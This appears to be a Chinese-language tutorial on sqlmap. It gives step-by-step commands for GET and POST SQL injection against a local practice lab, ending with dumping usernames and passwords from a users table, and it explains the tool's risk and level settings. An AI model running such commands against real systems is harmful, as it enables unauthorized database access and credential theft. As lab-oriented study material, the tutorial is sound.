sqlmap自动注入
常用参数
-u
:扫描目标url
--batch
:自动处理提示信息
--cookie
:附加cookie参数
获取当前数据库名:
--current-db
:查询当前web使用的数据库名
-D
:应用指定数据库
获取表名:
--tables
:查询指定库下所有表名(先用-D指定库名)
-T
:应用指定表
获取字段:
--columns
:查询指定表下所有字段(先用-T指定名)
-C
:应用指定字段名
获取数据:--dump
GET传参注入
1 2 3 4 5 6 7 8 9 10 11 12
| 基本的SQL注入检测,可以检测注入点以及可注入类型 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch 查看所有数据库 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch --dbs 查看当前使用的数据库 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch --current-db 查看表名 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch -D security --tables 查看表中的字段 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch -D security -T users --columns 查看字段中的数据 python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch -D security -T users -C id,username,password --dump
|
POST传参注入
先用Bp抓包,然后保存抓取的内容到文件之中(我是保存在C:/Users/ASUS/Desktop/1.txt
)

之后直接用sqlmap
-r
:指定文件路径,从指定文件中读取HTTP请求
-p
:指定参数名 ,不加p参数会自动检测注入点,也可以得到结果,指定注入参数名的话执行速度更快
1 2 3 4 5 6 7 8 9 10
| 基本的SQL注入检测,可以检测注入点以及可注入类型 python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd 查看当前数据库 python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd --current-db 查表 python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd -D security --tables 查字段 python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd -D security -T users --columns 查数据 python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd -D security -T users -C username,id,password --dump
|
风险和测试等级
risk(风险等级)
默认为1(范围:1~3)
risk
越高,sqlmap 会尝试更具风险性的 SQL 注入技术(如 OR-based
注入、堆叠查询等)
risk=3
可能导致数据被修改或删除,谨慎使用
level(测试等级)
默认为1(范围:1~5)
level
越高,sqlmap 会测试更多的参数(如 User-Agent
、Referer
、Cookie
)和更复杂的 payload
level=1
(默认):仅测试 GET
和 POST
参数。
level=2
:增加 Cookie
头测试。
level=3
:增加 User-Agent
和 Referer
测试。
level=4
:测试所有 HTTP 头(如 X-Forwarded-For
)。
level=5
:测试所有可能的注入点(包括 Host
头)